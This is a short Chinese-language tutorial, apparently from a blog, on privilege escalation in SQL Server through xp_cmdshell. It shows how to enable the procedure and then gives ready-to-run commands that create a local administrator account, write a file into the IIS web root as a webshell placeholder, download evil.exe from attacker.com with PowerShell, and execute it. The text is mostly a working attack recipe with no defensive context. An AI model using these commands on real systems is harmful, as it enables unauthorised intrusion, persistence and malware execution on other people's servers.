SQL Server-xp_cmdshell提权
什么是 xp_cmdshell?
xp_cmdshell 是 SQL Server 的一个扩展存储过程,可以让数据库直接执行系统命令,相当于在目标主机上执行 cmd 命令
条件
- 已获取 SQL Server 权限(sa 或 sysadmin 权限)
- xp_cmdshell 功能处于开启状态(默认是关闭)
- 数据库服务运行账户拥有系统权限(如 LocalSystem)
开启 xp_cmdshell(需要 sa 权限)
-- 1. 启用高级选项
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
-- 2. 启用 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
提权操作示例
1. 直接执行系统命令(反弹 shell、添加用户等)
-- 添加一个用户
EXEC xp_cmdshell 'net user test123 P@ssw0rd /add';
-- 把用户加到管理员组
EXEC xp_cmdshell 'net localgroup administrators test123 /add';
上传并执行木马(webshell 或反弹 shell)
-- 使用 echo 写文件
EXEC xp_cmdshell 'echo test > C:\inetpub\wwwroot\test.aspx';
-- 或者下载 payload
EXEC xp_cmdshell 'powershell -Command "Invoke-WebRequest -Uri http://attacker.com/evil.exe -OutFile C:\evil.exe"';
-- 执行 payload
EXEC xp_cmdshell 'C:\evil.exe';

浙公网安备 33010602011771号